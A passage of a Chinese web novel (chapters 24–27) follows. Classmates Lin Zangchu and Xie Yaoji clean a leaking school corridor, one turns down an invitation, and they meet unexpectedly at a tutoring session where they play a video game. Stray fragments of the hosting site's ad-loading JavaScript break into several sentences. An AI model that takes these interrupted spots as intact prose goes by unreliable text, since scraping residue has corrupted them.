眼看着蒋主任的身影消失在了班级门口,离得近的同学纷纷松了口气,谁成想几秒钟后这人竟然又带着他一脚踩进水洼里的皮鞋杀了个回马枪:“班干部快点派人出来收拾走廊!听见没有!” 高姿:“……” “好的主任,没问题主任。” 蒋主任这回真的是满意地走了。 高姿叹了口气,放下手里从桌屉摸出来一半刚准备继续的扑克牌,朝着班里的其他地方望了一圈。 嗯……南边儿的那伙斗地主还在打,东边的几个人好像在拿手机藏桌底下看电影。讲台旁边的两个人正在为一道化学流程题争论不休,那么只剩下北边的…… 高姿看着北边的伤员以及围了一大圈的嘘寒问暖者,忽然卡了下壳,难得地沉默了。 虽然让伤员带伤上阵确实有点不人道主意,但是高大委员觉得还是有必要争取一下:“那个,林神啊。” 林藏初闻声抬头:“嗯?” “商量个事儿呗。”高姿凑过去,试图将音量降低,以达到一种鬼鬼祟祟的求人效果。 林藏初果不其然起了好奇:“什么事?” “你,还有我。”高姿指指他,又反过来指指自己。 “还有咱俩周围这一圈——” 被她手指虚虚划过的同学都有所预料地往外散了散,果然在两秒钟后听见高大委员一锤定音的指派:“我们拿着扫帚去走廊干活吧!” “……我吗?”周围哀声四起,林藏初也跟着指指自己。 高姿矜持地点点头。 然后就看见这位小少爷的手指换了个方向,遥遥地往自己同桌肩头一点:“那他呢?” 高姿转头,正好对上谢遥集“你要是安排那我就服从”的视线。 高姿:“……” 高姿头一次觉得当班级里的小小生活委员也是个得罪人的活。 箭在弦上不得不发,她尬笑了两声:“谢神当然也去啊,你说是吧,林神?” 24. Chapter 24 被安排干活的人虽然嘴上哀嚎抱怨,但一窝蜂挤过去拿笤帚的时候跑得一个比一个快,身体力行地证明了什么叫高中生所独有的乐在其中。 谢遥集实在不想跟着往前挤,站在原地等人都散了,才慢悠悠地走过去准备捡漏。 但是很明显,他好像忘记了一件事。 谢会长素日里多忙于学生会各种杂七杂八的琐事,不常跟着班集体大扫除,所以有关“班里的扫地工具质量良莠不齐”的这种言论,当初他偶然间听见生活委员抱怨的时候,并没往心里去。 也就导致现在谢遥集对着面前几簇歪瓜裂枣的笤帚面面相觑,实在难以下手挑选—— 落满灰尘的笤帚们在方才同学的哄抢中缠在一起,工伤程度各有千秋,不是这个没了毛,就是那个断了柄。 再看远处同样没来抢工具的林大少爷,高姿正捧着她自己一马当先抢来的崭新笤帚双手奉上:“林神,您请!” 谢遥集:“……” 他恍惚记起班里那几把为数不多的高质量笤帚,好像还是这位少爷出钱买的。 有钱人用上等笤帚,没钱人用下等笤帚。 谢遥集在心里找了个不那么站得住脚的理由给自己默默开脱。 他又默默地扫了一眼教室摆放扫除工具的角落,除了好的笤帚之外,拖布也已经被人洗劫一空,就只剩下卡在暖气片旁边的撮箕。 ……嗯? “你们怎么没人拿撮箕啊?”高姿的声音远远地从走廊传来。 刚瞌睡就有人送枕头,谢遥集立刻如释重负地松了口气,拎着撮箕出去了。 “在我这儿。” 高姿刚指挥人把走廊的积水扫到两侧,闻声一转头,看见谢遥集拄着个撮箕出现在班级门口。 ……嗯,俊朗学神丑撮箕。 高姿上下一打量,场面怎么看怎么违和,非但那点装出来的怒气消失不见,反倒差点乐出声。 高三开学仅有的几次扫除里确实没怎么出现过谢遥集的身影。 别说,这个组合真是难得一见。 还没等她调整好表情,礼貌客气地开口,旁边正拿着笤帚比划样子的林小少爷抢先道:“同桌,来!” 他拿笤帚戳了戳暖气片下面刚被扫过去,又快要蔓延过来的水。 “拖把哪有撮箕快,赶紧的,咱俩合力,扫着全收桶里。” 谢遥集:“?” 他目光审视地看了看自己手里的撮箕,又看了看林藏初手里的扫帚。 然后十分缓慢地开口了:“这玩意不是用来扫垃圾的吗?” 谢遥集活了快二十年,就没见过把“糟蹋工具”这么一本正经挂在嘴上的人。 用新笤帚扫水坑,亏他想的出来—— “扫垃圾的笤帚就不能扫水了吗?”林少爷站直了,按着谢遥集的手把撮箕怼在水里,一个笤帚扫过去,撮箕霎时装得满满当当。 旁边立刻有人十分眼力见儿地拎来水桶,谢遥集下意识主动把撮箕里的水倒了进去。 “——你看,这不是能扫吗?”林藏初说。 谢遥集:“……” 好像也确实是这么个道理。 不远处还在用布条拖把兢兢业业“拖地一分钟拧干俩小时”的同学听见这边的动静,纷纷停下手里动作来围观。 “嚯,好办法啊!谢神,等会儿撮箕用完借我们呗?” 一群人拄着拖布叽叽喳喳,谢遥集被围得学生会ptsd都要出来了,隔壁同样被发配出来收拾走廊的二班学生狗狗祟祟地过来好奇:“你们班这是干嘛呢?” 挡着他视线的同学往后一让:“喏,扫地。” 二班同学:“?” 他看着满地的积水,下意识缓缓后退一步:“……你们班暖气管子炸啦?” 高姿幽幽插话:“那倒没有,就是走廊的天花板漏了。” “高三这教学楼漏雨也不是一天两天了,指不定什么时候就漏到你们班地盘了,小心点儿哈。” 二班同学被她说得一阵发怵,连忙抬头往棚上看了看。 林藏初又扫完一波角落里的水,也跟着凑热闹似的仰头,想看看自己班这个走廊顶棚到底怎么个事儿。 他站的位置正是一班和二班地盘的交界处。 顶棚上的白色墙皮因为渗水而洇成了一种泛着黑的深色,裂纹横贯其上,或大或小的腻子块儿藕断丝连地垂着,混着灰尘和蛛网,视觉效果极佳。 林藏初略微嫌弃地移开视线,刚打算继续手里的活。 棚上依旧缓慢积着的水滴达到了重力的临界值,“啪嗒”一下,直直地顺着既定的路线砸下来。 掉在少爷的左侧脸颊上,变成了一朵不大不小、白中混黑的泥巴花。 林藏初:“……” 林藏初条件反射般地把手里的笤帚给扔了,后退一大步:“这棚怎么还在漏???” 话音未落,又一滴雨水砸下来,落在了他的右脸上。 痕迹不偏不倚,刚好形成轴对称图形。 谢遥集默默扭过头,手里的撮箕倒还稳稳地接着,只是林藏初明显看见他的肩膀微微地在颤。 林藏初麻木地把脸一抹:“不许笑,你听见没有?” 谢遥集笑够了才把头转回来,淡然道:“嗯,我没笑。” 林藏初:“……” 你自己听听这话站得住脚吗? 先前过来凑热闹围观旧工具新用法的同学都被高姿打发回去干活了,因此两个人在角落里的小动作并没有多少人注意到。 只有二班同学围观全程,脸上的表情五彩纷呈。 仔细看,好像还带了一点儿松下心来的如释重负。 他早就听闻高三(1)班有个家里很有钱的小少爷,脾气暴躁凶神恶煞,平时遇见一定要记得绕路走—— 二班同学在心里把传言的细节想了一遍,没忍住偷偷递出目光,把眼前的人上上下下仔细看了看。 ……这也不像啊?哪有别人说的那么坏? 林藏初并不知道自己在被别人将信将疑地编排着,眼见着手里的活儿马上要干完,忽然想起什么似的往谢遥集跟前凑了凑。 “喂。” 谢遥集放下手中正在整理的工具,叹了口气:“我不叫喂——怎么了?” “我不叫喂”话音顿了几秒,罕见地有些扭捏斟酌:“也没什么事……那个,运动会结束就是中秋假期了。” “要不要一起出来玩?” 林藏初问出这话就后悔了,因为他看见 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 谢遥集的呼吸不甚明显地重了一下,似乎是在考虑要怎么拒绝自己。 ……他也是鬼迷心窍了,好端端的,非要想着和同桌拉近关系干什么? “抱歉啊,好像没什么空。” 走廊人声嘈杂,不远处有同学喊着水桶去哪了怎么找不到,林藏初听见谢遥集轻飘飘的、带着点儿不轻不重遗憾的回答,“要不下次吧?” 说不上是什么心情,又好像早有预料。 林藏初下意识咽了下口水,又发现自己嗓子不知什么时候变得很干,连带着声音也变得干巴巴的:“哦哦,那下次再说吧。” “……”尴尬的开头话题和窘迫的结束语,两人一时又变得无话起来。 高姿刚指挥同学把走廊的窗户和墙壁也擦完,转头就看见林藏初和谢遥集这两尊神像大理石雕像一样,在角落里原地杵着,好像没在干活,但也没在聊天。 她视线往右,看了看把清扫工具一件件规矩放好、再反复拿起来挨个观察的谢遥集,视线往左,又瞧见正无所事事认真抠墙皮的林藏初。 灰白色的墙皮碎渣掉下来,又被他用手掌接住,扔进一旁的空撮箕里。 高姿有点没懂:“你们这是干啥呢?” “没干什么。” “没干什么啊。” 两人几乎一瞬间异口同声,等意识到对方和自己说了同样的话,又不约而同地都闭嘴了。 高姿一头雾水地点点头:“噢,那你们也别在这站着了,怪挡害的。”* “回班坐着去呗?我们这边的活也快干完了,周扬他们早就溜回去了。” 一开始两人谁都没动,良久,林藏初终于往旁边挪了挪,说:“那我先回班了。” 谢遥集看他一眼,停下了手里的动作:“嗯。我收拾完就回。” 林藏初没敢再去瞧对方的表情,心里还在庆幸高大委员出现得真是时候。 他绕过走廊里凌乱放着的工具,被拖把拖过的地面仍旧是湿答答的,很滑。 林小少爷想起来自己上楼时候虚张声势摔的那几跤,龇牙咧嘴地抽了口气。 停在教室门口时,他的视线落在自己被人握过的手腕上,莫名其妙感觉到了一点那时候对方的体温。 “林哥!别堵门啊,快进!” 身后有同学拎着满水的桶摇摇晃晃地冲过来,林藏初一个激灵,忙不迭地推开门窜进班里:“不好意思!我立刻进!” 班里依旧比外面更热闹,先前的几伙牌桌七零八落,散了又重组,已经到了战况焦灼的尾声。 林藏初从他们旁边挤过去,听了一耳朵的“我草!你怎么跟我一伙儿的??”“哥你打队友真有一手,那我就先走喽哈哈哈哈”,在不知谁一边哀嚎一边往外拿钱的背景音中直奔自己座位。 周围的桌子已经被搬空了,但是可能是某种奇妙的磁场,又或许是什么别的原因,他和谢遥集的桌子成了唯二的两张剩余物。 在一片大空地里孤零零地并排贴在一起。 林藏初拉开椅子坐下。掏出手机按开锁屏。 他的视线在主屏幕的界面停了很久,才缓缓地点开了某著名问答软件。 “想跟同桌把关系处得更近一点,但是被对方拒绝了怎么办?在线等,急。” 25. Chapter 25 原本不到两天的运动会,因为下雨的缘故而变成了三天整。 最后一个项目是一千五的长跑,除了最开始要由裁判将选手领到场地之外,并没有什么其他的活要干。 林藏初坐在铁架阶梯上,和其他闲着的同学挤在一起摸鱼,听大家侃山侃地,口袋里的手机被他反复按亮,又再次按灭。 前天发出去的提问有了几页回答,不算多也不算少,但画风却别无二致地一起走偏了—— “容我先问问题主同桌性别(推眼镜.jpg)” 这是首答。 “别说得这么委婉嘛,来,我帮题主改个大方版:遇见喜欢的人了,想追但是对方没那个意思,咋办?” 这是第二条回答。 有了前两条回答打底,后面的楼歪得一去不复返,主题中心从“怎样和同桌相处”急转直下,变成了“怎样才能把同桌追到手”。 林藏初:“……” 林藏初忍不住在下面回复:“我俩都是男的。” 这条回复发出去没几分钟,下面就开始接二连三地扣问号。 网友A:??等会,哥们你,是我理解的那样吗…… 网友B:都是汉字但是为啥连起来有点看不懂? 网友C:俩男生,关系变得‘更近一点’,什么成分懂得都懂 网友D:哇哦。 网友F:哇哦。 网友G:dbq但是,哇哦。 “题主铁暗恋,上面答主提到的方法还是能用,散了吧。有后续踢我。” “蹲,放个屁股。” “很好奇,出后续求踢+1” …… 加油声响彻天际,林藏初被迫把自己从十几分钟前有关这条提问的回答贴里抽离出来,只是脑子里还剩了“铁暗恋”三个字。 ——这帮人是不是有病? 他跟谢遥集的关系怎么能是这种?? 林藏初越想越气,干脆又把手机掏了出来,想看看网友们还能说出来什么伤天害理大逆不道的话。 某乎消息提示的红点已经变成了99+,其中一篇高赞回答下面的评论区俨然是条刚蹦出来的新回复:“答主写的好认真!祝题主和同桌终成眷属!爱情无罪(花.jpg)” 林藏初把这篇几千字的回答往上翻了翻,视线落在它的开头上。 “谢邀。我猜题主是想问:如何吸引有好感的人的注意?对这个事情我有很丰富的经验。首先,要……” 林藏初……林藏初啪嗒一下,臭着脸把手机屏朝下狠狠扣在了旁边。 粗铁架和钢化膜发出闷里闷气的撞击声,把坐在他右边的周扬吓了一跳:“我草,林哥,你干嘛啊?” “……我说我被人网暴了,你信吗?” 林藏初眼神认真地看着他,说出来的话惊世骇俗:“从今天起,我要退网。” 周扬:“?” 周扬有点被他的语气吓到了,哭丧着一张脸:“哥,网上傻逼多,甭管他们,你自己可千万别做什么傻事啊!” 只是随口胡诌的林藏初:“……” “你别怕,我没事,没你想得那么严重。” 周扬将信将疑:“真的吗?” 林藏初:“真的——你林哥还能骗你不成?” 周扬想了想,觉得倒也是那么回事。 相处三年,林藏初的性子他也或多或少摸透了个大概。不说心态如何,对朋友撒谎肯定是不可能的。 ……于是周扬彻底放心了。 林藏初努力控制自己不再往那篇回答上想,但是失败了。 他的思绪在空荡荡的脑袋里茫然转了几圈,最后还是停在了评论区的字字箴言里。 一起吃饭……一起看电影…… 好像用在普通朋友相处之间,也不是那么太奇怪。 林藏初在心里咂摸着想。 开学之后的周末正好休两天,不然那个时候再问问吧? ……就当是他为和谐同桌关系做的最后一次努力。 他林藏初向来是凭着心意交天交地,只要他想,怎么可能会有处不好关系的朋友? 如果有,那一定是对方的问题。 · 谢遥集时常觉得,自己就是个天生的劳碌命。 要不然为什么年级组要办诗朗诵比赛,负责人谁都不找,偏偏找他? 前脚还在记一千五比赛的成绩,后脚就被主任一个通知拎到了办公室吩咐活动流程。 “每个班一到两名同学,抽号海选,一共晋级……决赛要……” “好了,总体流程就是这样。辛苦你组织一下了,谢同学。” “好的老师,我记下了。” 谢遥集点点头,脸上依旧是一派礼貌微笑,好像对自己这个“得力助手”的身份没有丝毫的不适应。 “都是我应该做的,不辛苦。” 命苦罢了。 谢遥集在主任欣慰的目光中拎着文件复印件出了门。 走廊的窗户开着,隐约能听见操场上的广播声,好像正在报高二组的一千五百米成绩。 现在回去,估计是要正正好好被人抓走,去领下一组的高三选手。 谢遥集叹了口气。 ……今天下午就是中秋假期了。 只属于别人的假期。 谢遥集思维放空地把老师布置数理化作业的数量过了一遍,又想起来晚上照常要去网吧打工的事情。 今天老板的另一个员工请假不在,到时候不知道又会忙成什么样。 明天要去校外的补课机构上课。 后天又去程九理家做家教。 他一边走,一边在心里掰着指头数这个中秋假期满满当当的行程,脑袋里不知怎地又蹦出来林藏初当初那句突如其来的邀请。 谢遥集其实拒绝过很多次别人的邀约,比如迷妹们的校外奶茶店,再比如网吧员工们的深夜聚餐。 但是唯独到了林小少爷这里有些不一样。 拒绝的话说出口,心里就只剩下一点儿茫然无措的钝痛感。 ……他想起来那顿只有自己没去的烧烤。 下次见面的时候,去主动解释一下? 风里浪里的友谊之船因为他的屡次拒绝被越推越远,谢遥集头一次有点拿不准主意。 可是理由呢? 他站到对方面前的时候 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,到底要说些什么? 谢遥集犹豫了——所有解释在事实面前都只是一缕摸不着听不见的炊烟,戴着苍白无力的帽子,风一吹就散了。 要不然还是……算了吧。 教学楼外面又掀起来新一轮的加油呐喊,谢遥集碰巧经过走廊的窗户,朝外面遥遥地望了一眼。 许是昨天下过雨的缘故,今天的天气很好,碧空如洗万里无云,行道树在路边留下婆娑稀碎的影子。 这个窗户的视角看不见操场上的橡胶跑道,也看不见草坪中央的阶梯铁架。 脑海里想着的人慢吞吞地凝聚成型,无声地比了个唇语:傻,逼。 “……”谢遥集捏着手里的文件夹乐出声,总觉得这确实是林小少爷能骂出来的话。 …… “啧,这人傻逼吧。” 几百米开外的操场上,林藏初几乎是同一时间皱着眉骂出口。 得益于周围同学的视野遮挡,他玩手机的动作除了左邻右舍无人可见。 屏幕上蹦出来某游戏最终的结算分数,刚才队友在对面尾随的情况下毅然决然地分裂,不仅没有把球喂到林藏初身上,还被敌方吞掉大半—— 最后队友连带林藏初一起被变大数倍的对面一锅吞,游戏结束。 林藏初忍住发语音骂人的冲动,暴躁地抓了抓头发,在周扬闻声转头的目光中毅然决然地退出游戏,长按卸载。 “林哥,你玩的这啥游戏?”周扬还是问了。 林藏初说:“小学生游戏……别玩,玩了寿命都短十年。” “——现在比赛进行到哪儿了?” “好像高三组快比完了。”周扬眯着眼往跑道的方向看了看,“这组结束,再来一个谢幕合唱,运动会应该就结束了。” 操场的橡胶跑道上,高三男子组一千五的第一名选手顺利冲线。 周围激烈的擂鼓喝彩声在一瞬间大了几十个分贝,周扬收回目光:“看着好像是三班的。” “啧,我记得高二的运动会就是他们班拿了最后的冠军。” “当年咱班一分之差跟奖杯失之交臂,想想就来气。” “要是谢神当时也能参加就好了——” 他语气遗憾,话说到中途又忽然一顿,视线绕着铁架上几乎坐满的位置逡巡两圈:“不对啊,怎么感觉今天都没见过谢神呢?” 林藏初手指一滑,从APP Store里退出来,植物大战僵尸的安装进度刚过半。 “什么?”他问。 周扬说:“你今天有见过你同桌吗?” “……”死去的记忆阴魂不散地再次复活,林藏初听见“同桌”这个关键字眼,某高赞回答里面的内容和评论又一个接着一个地蹦进来他的脑海里。 林藏初把外套的拉链一口气拉到最上面。 “……没有。没见过。” 周扬没发现这人耳后不正常的薄红,“嘿”了一声转过头去,嘴里嘟囔:“奇了怪了,主席台下面记成绩的那一堆里好像也没有……” “算了,不想了。八成是又被老师叫走干活去了——我还有作业题没来得及问呢,这下可好了……只能等到开学再说了。” 26. Chapter 26 假期最后一天。中秋节。 程家别墅。 谢遥集又一次地推着他的自行车出现在了别墅的院子门口。 来之前已经和程父打过招呼,他刚把车子停稳在路边,就有人迎出来亲自为他开门。 来人是个二十出头的年轻男人,身材颀长,气质出众,谢遥集不由得抬头,多看了他两眼。 身材是很标准的宽肩窄腰,穿着修身服帖的日常款西装,五官深邃锋利。 ……是个没见过的新面孔。 男人看出来他的疑惑,拉开门的同时开口,颔头解释道:“我是程九理的哥哥,程南渡。” “请进来吧——初次见面,幸会。” 原来是程九理的哥哥。 谢遥集了然,以前从来没听程九理说起过。 他简单地道了谢,跟着程南渡走进院子。 不知为何,看着程南渡挺拔的背影,谢遥集觉出来一种莫名的危险感。 ……上次出现这种感觉,还是在邻居家门口看见笑眯眯找上门来的催债人的时候。 智能门锁自动识别面部,程南渡站在别墅前,单手拉开那扇厚实笨重的房门:“谢老师先请。” 谢遥集推脱一番未果,只得率先进了门。 进了门他才发现,不过短短几天,程家的装饰布局相较于他上次来的时候,已经有了翻天覆地的变化。 昂贵茶几上摆了新设计的素雅插花,半开放式厨房的透明餐桌换了位置,旁边多了一把崭新的椅子。 客厅一旁的储物柜消失不见,取而代之的是个巨大的玻璃水幕鱼缸。 各色水草珊瑚置于其中,铺着无杂质的细沙,海底沉船主题的饰品摆件。漂亮的孔雀鱼在装满钱币的宝藏旁边摆着尾巴游了个来回。 程母正在客厅的沙发上做绣工活,引他进门的程南渡察觉到谢遥集的视线,解释道:“昨天回家,怕老两口和小理在家待着无趣,所以顺便弄了些鱼来养。” “游得很快的这条是红绿灯,那边的几条是剑尾鱼。最下面的那条是黄金狐。”他隔着玻璃一一介绍。 谢遥集也跟着指过去一处:“那这条呢?” “哦,你说这条,这条叫做双斑菩提。”程南渡说,“买的时候发现尾巴缺了一小部分,老板打折,只花了不到三千。” ……打折?不到三千?? 谢遥集被自己的口水呛了一下。 程母听到玄关这边的声音,连忙放下手里的绣花线:“是小谢老师来了吗?” “九理在楼上等着呢,直接上去就好。”她把提前切好的果盘端过来,“来尝尝水果,他哥刚买回来的,新鲜着。” “不了,阿姨。”谢遥集终于找了个契机脱开了先前的聊天话题,转身对程母礼貌道,“今天给九理准备的内容有点多,要抓紧些才行。” “好好好,辛苦谢老师多费心思。”程母听了这话肉眼可见得高兴了几分,“那我就不打扰了,让小南带您上楼吧。” 她说完,又像是才想起来似的:“对了,有个九理玩得好的发小朋友也在他房间,您要是介意的话——” “没事阿姨,我不介意的。”谢遥集立刻道。 “那就好,那就好。”程母松了一口气,把手里的果盘递给了程南渡,“你把这个也拿上去吧。” 程南渡点了点头,从程母的手里接过瓷盘,领着谢遥集往楼上走。 程家的楼梯谢遥集走过很多遍,但是他从未像这回一样感到如此煎熬。 “谢老师,您是一直都在为九理做家教吗?”程南渡语气温和地问道。 “嗯,也不算太久。”谢遥集说,“从今年年初开始的。” “之前在家的时候,九理的成绩一直不见好。我教了很多遍他都学不会。”程南渡笑道,“性子也比别家孩子要贪玩些,先替他赔不是了。” 这话接也不是,不接也不是。谢遥集没办法回答,只好道:“哪里的事,九理是个听话的好孩子,我对他有信心。” 两人已经走到了程九理的房间门口,他的话淹在程南渡的敲门声里:“九理,阿初,谢老师到了。” “……我进来了?” 谢遥集还没反应过来,房间的门就被程南渡轻轻地推开了。 “哥!都说了不要自己开门进来!” 门开的一瞬间,谢遥集听见了程九理语气里一点儿对亲人独有的嗔怪和不耐烦。 但是他的注意力不在这里。 程九理房间内的摆设随着门开的动作展露全貌,谢遥集的视线穿过程南渡的身侧,直直地落在房间里的旋转椅上。 ……那里坐着一个他很熟悉的人。 “林藏初?” 谢遥集声音很轻地叫了下他的名字。 毛茸茸的发顶从黑色椅背上露出来一小截,在听见谢遥集的声音之后,忽然反应剧烈地向上打了个激灵。 沉迷打游戏的人动作停滞,从手机屏幕里愣愣地抬起头来:“……谢遥集?” “你怎么在……” 林藏初还没从“自己好端端在发小家玩却偶遇拒约同桌”这件事的震惊中缓过神,来由经过一概不知,下意识地说了半截话。 等看到谢遥集前面的程南渡才反应过来,又后知后觉地闭嘴了。 程南渡讶然地挑了下眉:“没想到谢老师和我们家阿初竟然也认识。” 谢遥集说不清楚自己究竟是怀着一种什么样的心情去回答的:“嗯,我们是同班同学。” 他没有贸然地揭穿两人之间那层比同学身份更近一步的“同桌”关系。 一是觉得这种事轮不到由自己来和陌生人说,二是……程南渡喊林藏初的那句“阿初”。 “原来是同班同学。”程南渡了然颔首,动作斯文地把果盘放在房间的白色床头柜上,“那我就不打扰你们了,谢老师。” “九理,好好学习,别在阿初面前丢面子,听见没?” 男人回到房间门口,转头叮嘱。 “……知道了哥,就你废话最多。”程九理嘴里含着根刚塞进去的棒棒糖,说话有些口齿不清。 没有回答,谢遥集站在床边,听见门锁“咔嗒”一声,房间门被人从外面关上。 旋转椅咯吱咯吱地响起来,是林藏初把自己转了个面,从背对谢遥集的视角变成了正对。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >手机的游戏屏幕不知道什么时候已经被他按灭了,谢遥集的视线落在这人带着疤的手背上,缓缓上移—— 林藏初正在目不转睛地盯着他。 向来巧舌如簧的谢遥集不动声色地咽了下口水,忽然没来由地有点儿紧张:“好巧,没想到会在这里遇见你。” “嗯。”林藏初语气发恹地答,“我也没想到。” “——所以,你其实是要来这里补课?” 没有前情提要,也没有后面的过多解释 ,但是谢遥集就是听懂了。 “嗯。”准备好的腹稿忘得一干二净,他几乎是想到什么就说了什么,“不光这里,还要去别的地方。” 林藏初点点头,椅子往后一转,又把手里握着的手机按开了。 “好忙啊,谢神。”他说。 谢遥集拿不准他的话里到底是有意掺了阴阳怪气,还是只有同情居多,一时没有接话。 反倒是大咧咧倒在被子里的程九理听见这话,一个鲤鱼打挺从床上跳了起来:“什么?!” “谢老师,你竟然不止我一个学生!” “你背叛!!!” “呜呜呜呜那天在网吧发过的誓你都忘了吗谢老师,终究还是……只有我一个人当真了……” 程九理掩面恸哭到一半,被林藏初一个长颈鹿抱枕飞过来砸没了声儿。 “别哭。”林藏初头都没抬,“吵。” 程九理:QAQ! 谢遥集握着拳轻咳一声,试图转移房间内的话题。 “九理,上次留的专项练习卷子,你写了没有?” 程九理……程九理彻底噤声,视线飘忽地看向了别处。 上次走之前千叮万嘱这次一定要做完题的谢老师:“……” 谢遥集长叹一口气:“行了,知道你没写。” “今天本来是想讲上次留的专项题训练来着,但是你没做,直接讲的话效果也不好。” 他把手里抱了多时的资料拿出来,放在床边的书桌上摊开,“那我们这回讲什么?” 到底是屋子里多了人,饶是厚脸皮如谢遥集也难免有些尴尬,说完两句话,又忍不住去往房间里另一个人在的方向看了看。 林藏初安安静静地窝在几米开外的软椅上,几乎团成了一团。 他正聚精会神地盯着搭在自己膝盖上的手机,修长好看的手指灵动地在屏幕上翻飞,似乎并没有在意这边的动静。 谢遥集收回目光,视线重新落在了程九理略显心虚的脸上,以及这人空白一片、连选择题都没做的数学卷上。 兴许是被盯得太久,又或许是有林藏初这个发小在场的缘故,程九理的心虚程度略有增加,最后触底反弹。 变成了另外一种离经叛道、痴心妄想的小小请求:“那个,谢老师,咱俩商量个事儿呗。” 谢遥集嗯了一声,表情没变:“你说。” “要不然咱今天别补了。”程九理觑着谢老师的神色,大胆地试探对方底线,道,“大过节的,学习多没意思,不如改成游戏团建吧?” “这事你知我知天地知,我用以后一辈子的荣华富贵保证,绝对不会外传!” 27. Chapter 27 谢遥集被他超大分贝的“天知地知你知我知”当头一撞,莫名有种学生要拉着老师热情下海的既视感—— 他向来不是什么循规蹈矩的人,能少干活谁会多干? 谢遥集沉吟几秒,并没有对程九理的提议没发表什么看法,只是问道:“那他呢?” “……谁?” 程九理一时间并没反应过来,顺着谢遥集的视线看过去,只看见个毛茸茸的脑瓜壳:“你说林哥?” “就我俩这关系,他肯定不会告密的,你说是吧,小林哥!” “小林哥”转过头幽幽地看了他一眼。 程九理莫名其妙地从他这个眼神里读出来三个字:不一定。 “……你说句话呀林哥。”他摸了摸胳膊上骤起的鸡皮疙瘩,不死心地追问,“你一定不会跟我爸妈还有我那个老古板的哥说的,对吧?” 林藏初“啧”了一声,没搭理他,又把头转回去了。 “沉默表示肯定,你看。” 程九理信誓旦旦地向谢遥集展示自己糖衣炮弹攻击之后的成果:“他同意了。” 谢遥集:“……??” 你管这叫同意了? “哎呀,别管那么多了,来嘛。” 程同学铁了心要把今天变成自己真正的中秋假期,没给谢老师再开口的机会,推着人就坐到了房间里松软的小型沙发上。 “刚好年初EA新出了一款双人游戏,来!咱一起耍!” 他按开游戏主机的屏幕,又往谢遥集手里扔了个沉甸甸很有分量的手柄。 谢遥集想要拒绝,但是手柄已经被程九理不由分说地塞进了自己手里,只好退而求其次道:“……我没玩过这个。” “没关系谢老师。”程九理也在床上找了个舒服的姿势窝了下来,语气自信满满,“只玩手柄很好上手的,不会的话我教你,到时候咱俩双剑合璧,无敌!” 旁边一直没有出声的林藏初忽然抬头,以一种十分奇特的目光看了程九理一眼。 程九理:“?” “怎么了,林哥,你也想玩吗?” “不。”林藏初十分迅速地撇清关系摆正自己,甚至不惜撒了个无伤大雅的小谎,“我不太感兴趣,你俩玩吧。” 枯燥的补课日变成打游戏团建活动,程九理的喜悦溢于言表,整个人都处于一种亢奋状态:“好嘞,那就我俩玩!” 但是——很快他就不亢奋了。 因为谢遥集握着手柄,在短短五分钟之内操纵着屏幕里的红色毛线团角色,为程九理上演了有关花样死亡的一百种方式。 第一次是没有抓到半空的绳子。 第二次是被滚下来的巨石给砸死了。 第三次,是在跳上荷叶的时候偏移了一点距离,泡进水里咕嘟咕嘟地淹死了。 至于第四次……程九理站在河对岸,看见红色毛线团站在一片暗藏玄机的河中荷叶上,记得大喊:“快跳啊!那里很危险!” 谢遥集闻言疑惑抬头:“……?” 他的手还没来得及碰上手柄的跳跃按键,游戏屏幕里就忽然不知从哪儿蹦出来一条巨大的鲤鱼,血盆大口猛地一张,将谢遥集的角色连人带线地给吞掉了。 ……屏幕暗了下去又再次亮起,两人重新复活在了存档点。 程九理看了看两人花了快半个小时走过的路径——距离出生地不到三个屏幕的距离。 他哭丧着一张脸喊外援:“林哥,救救我。” 林藏初刚结束峡谷野区里的漂亮一击,拐进草丛里活动了一下手腕:“你说什么?” “不好意思。”谢遥集似乎是想趁着两人说话的功夫再尝试几遍,但是结果不尽如人意,“不小心又死了。” 程九理下意识看回屏幕,红色的毛线小精灵在水里挣扎着举出一只爪子,淹下去的地方咕嘟咕嘟地往外冒着泡。 程九理:“……” 他大概,好像,似乎明白为什么林哥当初要用那种眼神看自己了。 谢老师什么都好,数学满分物理满分化学满分,可是他的游戏手残程度好像……更不遑多让。 程九理长吸一口气,深觉自己应该尽快离开这项折磨人的娱乐活动。 程九理忽然有点怀念谢老师给他讲题的时候了。 那个谢遥集才是正常的。 现在这个……现在这个可能是黑化版。 程九理难过地吸了吸鼻子,重新拿起方才被他扔在被子里的手柄。 自己选的路,硬着头皮也要玩完—— 蓝色的毛线精灵在屏幕里向右晃了一下,迟迟没有迈步。 “来,谢老师我们再试……” 他的话音戛然而止,因为一只漂亮的手探过来,轻飘飘地把他怀里的手柄捞走了。 林藏初还坐在椅子上,身子往前稍微探了些弧度。 他瞥了一眼游戏的显示屏幕:“卡关了?” 幸福来得太突然,发小之间独有的心灵感应让程九理一瞬间get到林藏初这是愿意帮忙的意思,忙不迭地狂点头:“这种关卡只有林哥你才能胜任!” “快,快救我们!” 他双手合十,起身迅雷不及掩耳之势地把林藏初连人带椅子地拽过来,“林哥,我相信你!” 因为太过无聊所以分出来三分心思来恶趣味捉弄人的林藏初:“……” 程九理态度这么虔诚,他好像忽然有点下不去手了。 谢遥集一直没说话,十分安静地等在沙发上,看上去似乎有些悠哉神闲,也没对两人的举动发表什么看法。 屏幕里的红色毛线孤零零地一个人站着,时不时抬起脑袋四处看看,似乎并不知道自己的旁边的蓝毛搭档换了操作者。 林藏初想起来谢遥集的游戏操作水平,心里其实有点没底:“喂,你往旁边挪挪。” 谢遥集:“?” 谢遥集依言把自己往单人沙发的一角挪了挪。 林藏初:“……” 林藏初的表情有点麻木:“我是叫你把屏幕里的角色往旁边挪挪。” 程九理有点想笑,但是别过头忍住了。 谢遥集淡然道:“理解错了,抱歉。” 他往屏幕上看过去,自己操纵的红色小人正不偏不倚地卡在石头洞穴的洞口,把蓝色的毛线小人出来的路线挡得严严实实。 蓝色的毛线团在暴躁主人的操控下撞来撞去,试图把红色的毛线团挤开,却被反作用力弹得往后退了几步,晕乎乎地晃着脑袋。 虽然在这种情况下不太合适,但是谢遥集的心里莫名把这个蓝色的毛线团和林藏初联系在了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一起—— ……有点可爱。 